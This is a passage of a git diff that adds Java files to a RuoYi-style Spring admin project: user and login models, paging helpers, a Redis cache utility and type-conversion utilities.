ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) + .append("userId", getUserId()) + .append("deptId", getDeptId()) + .append("userName", getUserName()) + .append("nickName", getNickName()) + .append("email", getEmail()) + .append("phonenumber", getPhonenumber()) + .append("sex", getSex()) + .append("avatar", getAvatar()) + .append("password", getPassword()) + .append("status", getStatus()) + .append("delFlag", getDelFlag()) + .append("loginIp", getLoginIp()) + .append("loginDate", getLoginDate()) + .append("createBy", getCreateBy()) + .append("createTime", getCreateTime()) + .append("updateBy", getUpdateBy()) + .append("updateTime", getUpdateTime()) + .append("remark", getRemark()) + .append("dept", getDept()) + .toString(); + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/entity/TimeZone.java b/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/entity/TimeZone.java new file mode 100644 index 0000000..82cd16b --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/entity/TimeZone.java @@ -0,0 +1,17 @@ +package com.ruoyi.common.core.domain.entity; + +import lombok.Data; + +/** + * @author:michael + * @createDate: 2022/9/19 16:48 + */ +@Data +public class TimeZone { + private String zoneId; + + private String offSet; + + private String offSetValue; + +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/model/LoginBody.java b/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/model/LoginBody.java new file mode 100644 index 0000000..f206c7f --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/model/LoginBody.java @@ -0,0 +1,79 @@ +package com.ruoyi.common.core.domain.model; + +/** + * 用户登录对象 + * + * @author ruoyi + */ +public class LoginBody +{ + /** + * 用户名 + */ + private String username; + + /** + * 用户密码 + */ + private String password; + + /** + * 验证码 + */ + private String code; + + /** + * 唯一标识 + */ + private String uuid; + + private String authCode; + + public String getAuthCode() { + return authCode; + } + + public void setAuthCode(String authCode) { + this.authCode = authCode; + } + + public String getUsername() + { + return username; + } + + public void setUsername(String username) + { + this.username = username; + } + + public String getPassword() + { + return password; + } + + public void setPassword(String password) + { + this.password = password; + } + + public String getCode() + { + return code; + } + + public void setCode(String code) + { + this.code = code; + } + + public String getUuid() + { + return uuid; + } + + public void setUuid(String uuid) + { + this.uuid = uuid; + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/model/LoginUser.java b/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/model/LoginUser.java new file mode 100644 index 0000000..e485384 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/model/LoginUser.java @@ -0,0 +1,266 @@ +package com.ruoyi.common.core.domain.model; + +import java.util.Collection; +import java.util.Set; +import org.springframework.security.core.GrantedAuthority; +import org.springframework.security.core.userdetails.UserDetails; +import com.alibaba.fastjson2.annotation.JSONField; +import com.ruoyi.common.core.domain.entity.SysUser; + +/** + * 登录用户身份权限 + * + * @author ruoyi + */ +public class LoginUser implements UserDetails +{ + private static final long serialVersionUID = 1L; + + /** + * 用户ID + */ + private Long userId; + + /** + * 部门ID + */ + private Long deptId; + + /** + * 用户唯一标识 + */ + private String token; + + /** + * 登录时间 + */ + private Long loginTime; + + /** + * 过期时间 + */ + private Long expireTime; + + /** + * 登录IP地址 + */ + private String ipaddr; + + /** + * 登录地点 + */ + private String loginLocation; + + /** + * 浏览器类型 + */ + private String browser; + + /** + * 操作系统 + */ + private String os; + + /** + * 权限列表 + */ + private Set permissions; + + /** + * 用户信息 + */ + private SysUser user; + + public Long getUserId() + { + return userId; + } + + public void setUserId(Long userId) + { + this.userId = userId; + } + + public Long getDeptId() + { + return deptId; + } + + public void setDeptId(Long deptId) + { + this.deptId = deptId; + } + + public String getToken() + { + return token; + } + + public void setToken(String token) + { + this.token = token; + } + + public LoginUser() + { + } + + public LoginUser(SysUser user, Set permissions) + { + this.user = user; + this.permissions = permissions; + } + + public LoginUser(Long userId, Long deptId, SysUser user, Set permissions) + { + this.userId = userId; + this.deptId = deptId; + this.user = user; + this.permissions = permissions; + } + + @JSONField(serialize = false) + @Override + public String getPassword() + { + return user.getPassword(); + } + + @Override + public String getUsername() + { + return user.getUserName(); + } + + /** + * 账户是否未过期,过期无法验证 + */ + @JSONField(serialize = false) + @Override + public boolean isAccountNonExpired() + { + return true; + } + + /** + * 指定用户是否解锁,锁定的用户无法进行身份验证 + * + * @return + */ + @JSONField(serialize = false) + @Override + public boolean isAccountNonLocked() + { + return true; + } + + /** + * 指示是否已过期的用户的凭据(密码),过期的凭据防止认证 + * + * @return + */ + @JSONField(serialize = false) + @Override + public boolean isCredentialsNonExpired() + { + return true; + } + + /** + * 是否可用 ,禁用的用户不能身份验证 + * + * @return + */ + @JSONField(serialize = false) + @Override + public boolean isEnabled() + { + return true; + } + + public Long getLoginTime() + { + return loginTime; + } + + public void setLoginTime(Long loginTime) + { + this.loginTime = loginTime; + } + + public String getIpaddr() + { + return ipaddr; + } + + public void setIpaddr(String ipaddr) + { + this.ipaddr = ipaddr; + } + + public String getLoginLocation() + { + return loginLocation; + } + + public void setLoginLocation(String loginLocation) + { + this.loginLocation = loginLocation; + } + + public String getBrowser() + { + return browser; + } + + public void setBrowser(String browser) + { + this.browser = browser; + } + + public String getOs() + { + return os; + } + + public void setOs(String os) + { + this.os = os; + } + + public Long getExpireTime() + { + return expireTime; + } + + public void setExpireTime(Long expireTime) + { + this.expireTime = expireTime; + } + + public Set getPermissions() + { + return permissions; + } + + public void setPermissions(Set permissions) + { + this.permissions = permissions; + } + + public SysUser getUser() + { + return user; + } + + public void setUser(SysUser user) + { + this.user = user; + } + + @Override + public Collection getAuthorities() + { + return null; + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/model/RegisterBody.java b/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/model/RegisterBody.java new file mode 100644 index 0000000..868a1fc --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/model/RegisterBody.java @@ -0,0 +1,11 @@ +package com.ruoyi.common.core.domain.model; + +/** + * 用户注册对象 + * + * @author ruoyi + */ +public class RegisterBody extends LoginBody +{ + +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/core/page/PageDomain.java b/ruoyi-common/src/main/java/com/ruoyi/common/core/page/PageDomain.java new file mode 100644 index 0000000..8966cb4 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/core/page/PageDomain.java @@ -0,0 +1,101 @@ +package com.ruoyi.common.core.page; + +import com.ruoyi.common.utils.StringUtils; + +/** + * 分页数据 + * + * @author ruoyi + */ +public class PageDomain +{ + /** 当前记录起始索引 */ + private Integer pageNum; + + /** 每页显示记录数 */ + private Integer pageSize; + + /** 排序列 */ + private String orderByColumn; + + /** 排序的方向desc或者asc */ + private String isAsc = "asc"; + + /** 分页参数合理化 */ + private Boolean reasonable = true; + + public String getOrderBy() + { + if (StringUtils.isEmpty(orderByColumn)) + { + return ""; + } + return StringUtils.toUnderScoreCase(orderByColumn) + " " + isAsc; + } + + public Integer getPageNum() + { + return pageNum; + } + + public void setPageNum(Integer pageNum) + { + this.pageNum = pageNum; + } + + public Integer getPageSize() + { + return pageSize; + } + + public void setPageSize(Integer pageSize) + { + this.pageSize = pageSize; + } + + public String getOrderByColumn() + { + return orderByColumn; + } + + public void setOrderByColumn(String orderByColumn) + { + this.orderByColumn = orderByColumn; + } + + public String getIsAsc() + { + return isAsc; + } + + public void setIsAsc(String isAsc) + { + if (StringUtils.isNotEmpty(isAsc)) + { + // 兼容前端排序类型 + if ("ascending".equals(isAsc)) + { + isAsc = "asc"; + } + else if ("descending".equals(isAsc)) + { + isAsc = "desc"; + } + this.isAsc = isAsc; + } + } + + public Boolean getReasonable() + { + if (StringUtils.isNull(reasonable)) + { + return Boolean.TRUE; + } + return reasonable; + } + + public void setReasonable(Boolean reasonable) + { + this.reasonable = reasonable; + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/core/page/TableDataInfo.java b/ruoyi-common/src/main/java/com/ruoyi/common/core/page/TableDataInfo.java new file mode 100644 index 0000000..847685b --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/core/page/TableDataInfo.java @@ -0,0 +1,85 @@ +package com.ruoyi.common.core.page; + +import java.io.Serializable; +import java.util.List; + +/** + * 表格分页数据对象 + * + * @author ruoyi + */ +public class TableDataInfo implements Serializable +{ + private static final long serialVersionUID = 1L; + + /** 总记录数 */ + private long total; + + /** 列表数据 */ + private List rows; + + /** 消息状态码 */ + private int code; + + /** 消息内容 */ + private String msg; + + /** + * 表格数据对象 + */ + public TableDataInfo() + { + } + + /** + * 分页 + * + * @param list 列表数据 + * @param total 总记录数 + */ + public TableDataInfo(List list, int total) + { + this.rows = list; + this.total = total; + } + + public long getTotal() + { + return total; + } + + public void setTotal(long total) + { + this.total = total; + } + + public List getRows() + { + return rows; + } + + public void setRows(List rows) + { + this.rows = rows; + } + + public int getCode() + { + return code; + } + + public void setCode(int code) + { + this.code = code; + } + + public String getMsg() + { + return msg; + } + + public void setMsg(String msg) + { + this.msg = msg; + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/core/page/TableSupport.java b/ruoyi-common/src/main/java/com/ruoyi/common/core/page/TableSupport.java new file mode 100644 index 0000000..a120c30 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/core/page/TableSupport.java @@ -0,0 +1,56 @@ +package com.ruoyi.common.core.page; + +import com.ruoyi.common.core.text.Convert; +import com.ruoyi.common.utils.ServletUtils; + +/** + * 表格数据处理 + * + * @author ruoyi + */ +public class TableSupport +{ + /** + * 当前记录起始索引 + */ + public static final String PAGE_NUM = "pageNum"; + + /** + * 每页显示记录数 + */ + public static final String PAGE_SIZE = "pageSize"; + + /** + * 排序列 + */ + public static final String ORDER_BY_COLUMN = "orderByColumn"; + + /** + * 排序的方向 "desc" 或者 "asc". + */ + public static final String IS_ASC = "isAsc"; + + /** + * 分页参数合理化 + */ + public static final String REASONABLE = "reasonable"; + + /** + * 封装分页对象 + */ + public static PageDomain getPageDomain() + { + PageDomain pageDomain = new PageDomain(); + pageDomain.setPageNum(Convert.toInt(ServletUtils.getParameter(PAGE_NUM), 1)); + pageDomain.setPageSize(Convert.toInt(ServletUtils.getParameter(PAGE_SIZE), 10)); + pageDomain.setOrderByColumn(ServletUtils.getParameter(ORDER_BY_COLUMN)); + pageDomain.setIsAsc(ServletUtils.getParameter(IS_ASC)); + pageDomain.setReasonable(ServletUtils.getParameterToBool(REASONABLE)); + return pageDomain; + } + + public static PageDomain buildPageRequest() + { + return getPageDomain(); + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/core/redis/RedisCache.java b/ruoyi-common/src/main/java/com/ruoyi/common/core/redis/RedisCache.java new file mode 100644 index 0000000..47aaefb --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/core/redis/RedisCache.java @@ -0,0 +1,286 @@ +package com.ruoyi.common.core.redis; + +import java.util.Collection; +import java.util.Iterator; +import java.util.List; +import java.util.Map; +import java.util.Set; +import java.util.concurrent.TimeUnit; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.dao.DataAccessException; +import org.springframework.data.redis.connection.RedisConnection; +import org.springframework.data.redis.core.*; +import org.springframework.stereotype.Component; + +/** + * spring redis 工具类 + * + * @author ruoyi + **/ +@SuppressWarnings(value = { "unchecked", "rawtypes" }) +@Component +public class RedisCache +{ + @Autowired + public RedisTemplate redisTemplate; + + /** + * 缓存基本的对象,Integer、String、实体类等 + * + * @param key 缓存的键值 + * @param value 缓存的值 + */ + public void setCacheObject(final String key, final T value) + { + redisTemplate.opsForValue().set(key, value); + } + + /** + * 缓存基本的对象,Integer、String、实体类等 + * + * @param key 缓存的键值 + * @param value 缓存的值 + * @param timeout 时间 + * @param timeUnit 时间颗粒度 + */ + public void setCacheObject(final String key, final T value, final Integer timeout, final TimeUnit timeUnit) + { + redisTemplate.opsForValue().set(key, value, timeout, timeUnit); + } + + /** + * 设置有效时间 + * + * @param key Redis键 + * @param timeout 超时时间 + * @return true=设置成功;false=设置失败 + */ + public boolean expire(final String key, final long timeout) + { + return expire(key, timeout, TimeUnit.SECONDS); + } + + /** + * 设置有效时间 + * + * @param key Redis键 + * @param timeout 超时时间 + * @param unit 时间单位 + * @return true=设置成功;false=设置失败 + */ + public boolean expire(final String key, final long timeout, final TimeUnit unit) + { + return redisTemplate.expire(key, timeout, unit); + } + + /** + * 获取有效时间 + * + * @param key Redis键 + * @return 有效时间 + */ + public long getExpire(final String key) + { + return redisTemplate.getExpire(key); + } + + /** + * 判断 key是否存在 + * + * @param key 键 + * @return true 存在 false不存在 + */ + public Boolean hasKey(String key) + { + return redisTemplate.hasKey(key); + } + + /** + * 获得缓存的基本对象。 + * + * @param key 缓存键值 + * @return 缓存键值对应的数据 + */ + public T getCacheObject(final String key) + { + ValueOperations operation = redisTemplate.opsForValue(); + return operation.get(key); + } + + /** + * 删除单个对象 + * + * @param key + */ + public boolean deleteObject(final String key) + { + return redisTemplate.delete(key); + } + /* public boolean deleteStreamObject(final String key) + { + *//* return redisTemplate.opsForStream().destroyGroup()*//* + }*/ + + /** + * 删除集合对象 + * + * @param collection 多个对象 + * @return + */ + public boolean deleteObject(final Collection collection) + { + return redisTemplate.delete(collection) > 0; + } + + /** + * 缓存List数据 + * + * @param key 缓存的键值 + * @param dataList 待缓存的List数据 + * @return 缓存的对象 + */ + public long setCacheList(final String key, final List dataList) + { + Long count = redisTemplate.opsForList().rightPushAll(key, dataList); + return count == null ? 0 : count; + } + + /** + * 获得缓存的list对象 + * + * @param key 缓存的键值 + * @return 缓存键值对应的数据 + */ + public List getCacheList(final String key) + { + return redisTemplate.opsForList().range(key, 0, -1); + } + + /** + * 缓存Set + * + * @param key 缓存键值 + * @param dataSet 缓存的数据 + * @return 缓存数据的对象 + */ + public BoundSetOperations setCacheSet(final String key, final Set dataSet) + { + BoundSetOperations setOperation = redisTemplate.boundSetOps(key); + Iterator it = dataSet.iterator(); + while (it.hasNext()) + { + setOperation.add(it.next()); + } + return setOperation; + } + + /** + * 获得缓存的set + * + * @param key + * @return + */ + public Set getCacheSet(final String key) + { + return redisTemplate.opsForSet().members(key); + } + + /** + * 缓存Map + * + * @param key + * @param dataMap + */ + public void setCacheMap(final String key, final Map dataMap) + { + if (dataMap != null) { + redisTemplate.opsForHash().putAll(key, dataMap); + } + } + + /** + * 获得缓存的Map + * + * @param key + * @return + */ + public Map getCacheMap(final String key) + { + return redisTemplate.opsForHash().entries(key); + } + + /** + * 往Hash中存入数据 + * + * @param key Redis键 + * @param hKey Hash键 + * @param value 值 + */ + public void setCacheMapValue(final String key, final String hKey, final T value) + { + redisTemplate.opsForHash().put(key, hKey, value); + } + + /** + * 获取Hash中的数据 + * + * @param key Redis键 + * @param hKey Hash键 + * @return Hash中的对象 + */ + public T getCacheMapValue(final String key, final String hKey) + { + HashOperations opsForHash = redisTemplate.opsForHash(); + return opsForHash.get(key, hKey); + } + + /** + * 获取多个Hash中的数据 + * + * @param key Redis键 + * @param hKeys Hash键集合 + * @return Hash对象集合 + */ + public List getMultiCacheMapValue(final String key, final Collection hKeys) + { + return redisTemplate.opsForHash().multiGet(key, hKeys); + } + + /** + * 删除Hash中的某条数据 + * + * @param key Redis键 + * @param hKey Hash键 + * @return 是否成功 + */ + public boolean deleteCacheMapValue(final String key, final String hKey) + { + return redisTemplate.opsForHash().delete(key, hKey) > 0; + } + + /** + * 获得缓存的基本对象列表 + * + * @param pattern 字符串前缀 + * @return 对象列表 + */ + public Collection keys(final String pattern) + { + return redisTemplate.keys(pattern); + } + + public boolean tryLock(K key, V value, long timeout){ + return Boolean.TRUE.equals(redisTemplate.opsForValue().setIfAbsent(key, value, timeout, TimeUnit.MILLISECONDS)); + } + + public boolean deleteAllObject() + { + boolean execute = (boolean) redisTemplate.execute(new RedisCallback() { + public String doInRedis(RedisConnection connection) throws DataAccessException { + connection.flushDb(); + return "ok"; + } + }); + return execute; + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/core/text/CharsetKit.java b/ruoyi-common/src/main/java/com/ruoyi/common/core/text/CharsetKit.java new file mode 100644 index 0000000..84124aa --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/core/text/CharsetKit.java @@ -0,0 +1,86 @@ +package com.ruoyi.common.core.text; + +import java.nio.charset.Charset; +import java.nio.charset.StandardCharsets; +import com.ruoyi.common.utils.StringUtils; + +/** + * 字符集工具类 + * + * @author ruoyi + */ +public class CharsetKit +{ + /** ISO-8859-1 */ + public static final String ISO_8859_1 = "ISO-8859-1"; + /** UTF-8 */ + public static final String UTF_8 = "UTF-8"; + /** GBK */ + public static final String GBK = "GBK"; + + /** ISO-8859-1 */ + public static final Charset CHARSET_ISO_8859_1 = Charset.forName(ISO_8859_1); + /** UTF-8 */ + public static final Charset CHARSET_UTF_8 = Charset.forName(UTF_8); + /** GBK */ + public static final Charset CHARSET_GBK = Charset.forName(GBK); + + /** + * 转换为Charset对象 + * + * @param charset 字符集,为空则返回默认字符集 + * @return Charset + */ + public static Charset charset(String charset) + { + return StringUtils.isEmpty(charset) ? Charset.defaultCharset() : Charset.forName(charset); + } + + /** + * 转换字符串的字符集编码 + * + * @param source 字符串 + * @param srcCharset 源字符集,默认ISO-8859-1 + * @param destCharset 目标字符集,默认UTF-8 + * @return 转换后的字符集 + */ + public static String convert(String source, String srcCharset, String destCharset) + { + return convert(source, Charset.forName(srcCharset), Charset.forName(destCharset)); + } + + /** + * 转换字符串的字符集编码 + * + * @param source 字符串 + * @param srcCharset 源字符集,默认ISO-8859-1 + * @param destCharset 目标字符集,默认UTF-8 + * @return 转换后的字符集 + */ + public static String convert(String source, Charset srcCharset, Charset destCharset) + { + if (null == srcCharset) + { + srcCharset = StandardCharsets.ISO_8859_1; + } + + if (null == destCharset) + { + destCharset = StandardCharsets.UTF_8; + } + + if (StringUtils.isEmpty(source) || srcCharset.equals(destCharset)) + { + return source; + } + return new String(source.getBytes(srcCharset), destCharset); + } + + /** + * @return 系统字符集编码 + */ + public static String systemCharset() + { + return Charset.defaultCharset().name(); + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/core/text/Convert.java b/ruoyi-common/src/main/java/com/ruoyi/common/core/text/Convert.java new file mode 100644 index 0000000..c918e36 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/core/text/Convert.java @@ -0,0 +1,1000 @@ +package com.ruoyi.common.core.text; + +import java.math.BigDecimal; +import java.math.BigInteger; +import java.nio.ByteBuffer; +import java.nio.charset.Charset; +import java.text.NumberFormat; +import java.util.Set; +import com.ruoyi.common.utils.StringUtils; +import org.apache.commons.lang3.ArrayUtils; + +/** + * 类型转换器 + * + * @author ruoyi + */ +public class Convert +{ + /** + * 转换为字符串
+ * 如果给定的值为null,或者转换失败,返回默认值
+ * 转换失败不会报错 + * + * @param value 被转换的值 + * @param defaultValue 转换错误时的默认值 + * @return 结果 + */ + public static String toStr(Object value, String defaultValue) + { + if (null == value) + { + return defaultValue; + } + if (value instanceof String) + { + return (String) value; + } + return value.toString(); + } + + /** + * 转换为字符串
+ * 如果给定的值为null,或者转换失败,返回默认值null
+ * 转换失败不会报错 + * + * @param value 被转换的值 + * @return 结果 + */ + public static String toStr(Object value) + { + return toStr(value, null); + } + + /** + * 转换为字符
+ * 如果给定的值为null,或者转换失败,返回默认值
+ * 转换失败不会报错 + * + * @param value 被转换的值 + * @param defaultValue 转换错误时的默认值 + * @return 结果 + */ + public static Character toChar(Object value, Character defaultValue) + { + if (null == value) + { + return defaultValue; + } + if (value instanceof Character) + { + return (Character) value; + } + + final String valueStr = toStr(value, null); + return StringUtils.isEmpty(valueStr) ? defaultValue : valueStr.charAt(0); + } + + /** + * 转换为字符
+ * 如果给定的值为null,或者转换失败,返回默认值null
+ * 转换失败不会报错 + * + * @param value 被转换的值 + * @return 结果 + */ + public static Character toChar(Object value) + { + return toChar(value, null); + } + + /** + * 转换为byte
+ * 如果给定的值为null,或者转换失败,返回默认值
+ * 转换失败不会报错 + * + * @param value 被转换的值 + * @param defaultValue 转换错误时的默认值 + * @return 结果 + */ + public static Byte toByte(Object value, Byte defaultValue) + { + if (value == null) + { + return defaultValue; + } + if (value instanceof Byte) + { + return (Byte) value; + } + if (value instanceof Number) + { + return ((Number) value).byteValue(); + } + final String valueStr = toStr(value, null); + if (StringUtils.isEmpty(valueStr)) + { + return defaultValue; + } + try + { + return Byte.parseByte(valueStr); + } + catch (Exception e) + { + return defaultValue; + } + } + + /** + * 转换为byte
+ * 如果给定的值为null,或者转换失败,返回默认值null
+ * 转换失败不会报错 + * + * @param value 被转换的值 + * @return 结果 + */ + public static Byte toByte(Object value) + { + return toByte(value, null); + } + + /** + * 转换为Short
+ * 如果给定的值为null,或者转换失败,返回默认值
+ * 转换失败不会报错 + * + * @param value 被转换的值 + * @param defaultValue 转换错误时的默认值 + * @return 结果 + */ + public static Short toShort(Object value, Short defaultValue) + { + if (value == null) + { + return defaultValue; + } + if (value instanceof Short) + { + return (Short) value; + } + if (value instanceof Number) + { + return ((Number) value).shortValue(); + } + final String valueStr = toStr(value, null); + if (StringUtils.isEmpty(valueStr)) + { + return defaultValue; + } + try + { + return Short.parseShort(valueStr.trim()); + } + catch (Exception e) + { + return defaultValue; + } + } + + /** + * 转换为Short
+ * 如果给定的值为null,或者转换失败,返回默认值null
+ * 转换失败不会报错 + * + * @param value 被转换的值 + * @return 结果 + */ + public static Short toShort(Object value) + { + return toShort(value, null); + } + + /** + * 转换为Number
+ * 如果给定的值为空,或者转换失败,返回默认值
+ * 转换失败不会报错 + * + * @param value 被转换的值 + * @param defaultValue 转换错误时的默认值 + * @return 结果 + */ + public static Number toNumber(Object value, Number defaultValue) + { + if (value == null) + { + return defaultValue; + } + if (value instanceof Number) + { + return (Number) value; + } + final String valueStr = toStr(value, null); + if (StringUtils.isEmpty(valueStr)) + { + return defaultValue; + } + try + { + return NumberFormat.getInstance().parse(valueStr); + } + catch (Exception e) + { + return defaultValue; + } + } + + /** + * 转换为Number
+ * 如果给定的值为空,或者转换失败,返回默认值null
+ * 转换失败不会报错 + * + * @param value 被转换的值 + * @return 结果 + */ + public static Number toNumber(Object value) + { + return toNumber(value, null); + } + + /** + * 转换为int
+ * 如果给定的值为空,或者转换失败,返回默认值
+ * 转换失败不会报错 + * + * @param value 被转换的值 + * @param defaultValue 转换错误时的默认值 + * @return 结果 + */ + public static Integer toInt(Object value, Integer defaultValue) + { + if (value == null) + { + return defaultValue; + } + if (value instanceof Integer) + { + return (Integer) value; + } + if (value instanceof Number) + { + return ((Number) value).intValue(); + } + final String valueStr = toStr(value, null); + if (StringUtils.isEmpty(valueStr)) + { + return defaultValue; + } + try + { + return Integer.parseInt(valueStr.trim()); + } + catch (Exception e) + { + return defaultValue; + } + } + + /** + * 转换为int
+ * 如果给定的值为null,或者转换失败,返回默认值null
+ * 转换失败不会报错 + * + * @param value 被转换的值 + * @return 结果 + */ + public static Integer toInt(Object value) + { + return toInt(value, null); + } + + /** + * 转换为Integer数组
+ * + * @param str 被转换的值 + * @return 结果 + */ + public static Integer[] toIntArray(String str) + { + return toIntArray(",", str); + } + + /** + * 转换为Long数组
+ * + * @param str 被转换的值 + * @return 结果 + */ + public static Long[] toLongArray(String str) + { + return toLongArray(",", str); + } + + /** + * 转换为Integer数组
+ * + * @param split 分隔符 + * @param split 被转换的值 + * @return 结果 + */ + public static Integer[] toIntArray(String split, String str) + { + if (StringUtils.isEmpty(str)) + { + return new Integer[] {}; + } + String[] arr = str.split(split); + final Integer[] ints = new Integer[arr.length]; + for (int i = 0; i < arr.length; i++) + { + final Integer v = toInt(arr[i], 0); + ints[i] = v; + } + return ints; + } + + /** + * 转换为Long数组
+ * + * @param split 分隔符 + * @param str 被转换的值 + * @return 结果 + */ + public static Long[] toLongArray(String split, String str) + { + if (StringUtils.isEmpty(str)) + { + return new Long[] {}; + } + String[] arr = str.split(split); + final Long[] longs = new Long[arr.length]; + for (int i = 0; i < arr.length; i++) + { + final Long v = toLong(arr[i], null); + longs[i] = v; + } + return longs; + } + + /** + * 转换为String数组
+ * + * @param str 被转换的值 + * @return 结果 + */ + public static String[] toStrArray(String str) + { + return toStrArray(",", str); + } + + /** + * 转换为String数组
+ * + * @param split 分隔符 + * @param split 被转换的值 + * @return 结果 + */ + public static String[] toStrArray(String split, String str) + { + return str.split(split); + } + + /** + * 转换为long
+ * 如果给定的值为空,或者转换失败,返回默认值
+ * 转换失败不会报错 + * + * @param value 被转换的值 + * @param defaultValue 转换错误时的默认值 + * @return 结果 + */ + public static Long toLong(Object value, Long defaultValue) + { + if (value == null) + { + return defaultValue; + } + if (value instanceof Long) + { + return (Long) value; + } + if (value instanceof Number) + { + return ((Number) value).longValue(); + } + final String valueStr = toStr(value, null); + if (StringUtils.isEmpty(valueStr)) + { + return defaultValue; + } + try + { + // 支持科学计数法 + return new BigDecimal(valueStr.trim()).longValue(); + } + catch (Exception e) + { + return defaultValue; + } + } + + /** + * 转换为long
+ * 如果给定的值为null,或者转换失败,返回默认值null
+ * 转换失败不会报错 + * + * @param value 被转换的值 + * @return 结果 + */ + public static Long toLong(Object value) + { + return toLong(value, null); + } + + /** + * 转换为double
+ * 如果给定的值为空,或者转换失败,返回默认值
+ * 转换失败不会报错 + * + * @param value 被转换的值 + * @param defaultValue 转换错误时的默认值 + * @return 结果 + */ + public static Double toDouble(Object value, Double defaultValue) + { + if (value == null) + { + return defaultValue; + } + if (value instanceof Double) + { + return (Double) value; + } + if (value instanceof Number) + { + return ((Number) value).doubleValue(); + } + final String valueStr = toStr(value, null); + if (StringUtils.isEmpty(valueStr)) + { + return defaultValue; + } + try + { + // 支持科学计数法 + return new BigDecimal(valueStr.trim()).doubleValue(); + } + catch (Exception e) + { + return defaultValue; + } + } + + /** + * 转换为double
+ * 如果给定的值为空,或者转换失败,返回默认值null
+ * 转换失败不会报错 + * + * @param value 被转换的值 + * @return 结果 + */ + public static Double toDouble(Object value) + { + return toDouble(value, null); + } + + /** + * 转换为Float
+ * 如果给定的值为空,或者转换失败,返回默认值
+ * 转换失败不会报错 + * + * @param value 被转换的值 + * @param defaultValue 转换错误时的默认值 + * @return 结果 + */ + public static Float toFloat(Object value, Float defaultValue) + { + if (value == null) + { + return defaultValue; + } + if (value instanceof Float) + { + return (Float) value; + } + if (value instanceof Number) + { + return ((Number) value).floatValue(); + } + final String valueStr = toStr(value, null); + if (StringUtils.isEmpty(valueStr)) + { + return defaultValue; + } + try + { + return Float.parseFloat(valueStr.trim()); + } + catch (Exception e) + { + return defaultValue; + } + } + + /** + * 转换为Float
+ * 如果给定的值为空,或者转换失败,返回默认值null
+ * 转换失败不会报错 + * + * @param value 被转换的值 + * @return 结果 + */ + public static Float toFloat(Object value) + { + return toFloat(value, null); + } + + /** + * 转换为boolean
+ * String支持的值为:true、false、yes、ok、no,1,0 如果给定的值为空,或者转换失败,返回默认值
+ * 转换失败不会报错 + * + * @param value 被转换的值 + * @param defaultValue 转换错误时的默认值 + * @return 结果 + */ + public static Boolean toBool(Object value, Boolean defaultValue) + { + if (value == null) + { + return defaultValue; + } + if (value instanceof Boolean) + { + return (Boolean) value; + } + String valueStr = toStr(value, null); + if (StringUtils.isEmpty(valueStr)) + { + return defaultValue; + } + valueStr = valueStr.trim().toLowerCase(); + switch (valueStr) + { + case "true": + case "yes": + case "ok": + case "1": + return true; + case "false": + case "no": + case "0": + return false; + default: + return defaultValue; + } + } + + /** + * 转换为boolean
+ * 如果给定的值为空,或者转换失败,返回默认值null
+ * 转换失败不会报错 + * + * @param value 被转换的值 + * @return 结果 + */ + public static Boolean toBool(Object value) + { + return toBool(value, null); + } + + /** + * 转换为Enum对象
+ * 如果给定的值为空,或者转换失败,返回默认值
+ * + * @param clazz Enum的Class + * @param value 值 + * @param defaultValue 默认值 + * @return Enum + */ + public static > E toEnum(Class clazz, Object value, E defaultValue) + { + if (value == null) + { + return defaultValue; + } + if (clazz.isAssignableFrom(value.getClass())) + { + @SuppressWarnings("unchecked") + E myE = (E) value; + return myE; + } + final String valueStr = toStr(value, null); + if (StringUtils.isEmpty(valueStr)) + { + return defaultValue; + } + try + { + return Enum.valueOf(clazz, valueStr); + } + catch (Exception e) + { + return defaultValue; + } + } + + /** + * 转换为Enum对象
+ * 如果给定的值为空,或者转换失败,返回默认值null
+ * + * @param clazz Enum的Class + * @param value 值 + * @return Enum + */ + public static > E toEnum(Class clazz, Object value) + { + return toEnum(clazz, value, null); + } + + /** + * 转换为BigInteger
+ * 如果给定的值为空,或者转换失败,返回默认值
+ * 转换失败不会报错 + * + * @param value 被转换的值 + * @param defaultValue 转换错误时的默认值 + * @return 结果 + */ + public static BigInteger toBigInteger(Object value, BigInteger defaultValue) + { + if (value == null) + { + return defaultValue; + } + if (value instanceof BigInteger) + { + return (BigInteger) value; + } + if (value instanceof Long) + { + return BigInteger.valueOf((Long) value); + } + final String valueStr = toStr(value, null); + if (StringUtils.isEmpty(valueStr)) + { + return defaultValue; + } + try + { + return new BigInteger(valueStr); + } + catch (Exception e) + { + return defaultValue; + } + } + + /** + * 转换为BigInteger
+ * 如果给定的值为空,或者转换失败,返回默认值null
+ * 转换失败不会报错 + * + * @param value 被转换的值 + * @return 结果 + */ + public static BigInteger toBigInteger(Object value) + { + return toBigInteger(value, null); + } + + /** + * 转换为BigDecimal
+ * 如果给定的值为空,或者转换失败,返回默认值
